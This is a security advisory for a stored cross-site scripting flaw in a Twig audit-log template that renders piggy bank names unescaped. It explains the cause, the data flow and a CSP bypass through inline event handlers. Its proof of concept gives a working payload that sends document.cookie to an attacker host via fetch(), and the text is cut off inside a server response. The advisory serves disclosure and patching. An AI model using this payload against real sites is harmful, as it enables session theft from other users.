GHSA-6jq6-x4cx-qvcm

## Summary The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log. ## Root Cause The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter. **Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):** ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy })|raw }} ``` No HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`. ## Data Flow ``` POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"} → Stored verbatim in piggy_banks.name → Transaction rule fires add_to_piggy / remove_from_piggy → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name → Any user views /transactions/show/{id} → ale.twig outputs unescaped payload → XSS fires ``` ## CSP Note The nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely. ## PoC 1. Authenticate as any user 2. `POST /api/v1/piggy-banks` with `"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"` 3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]" 4. Trigger the rule on any transaction 5. Visit `/transactions/show/{id}` → payload fires **Confirmed server response (v6.6.2):** ```html Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank "<img s
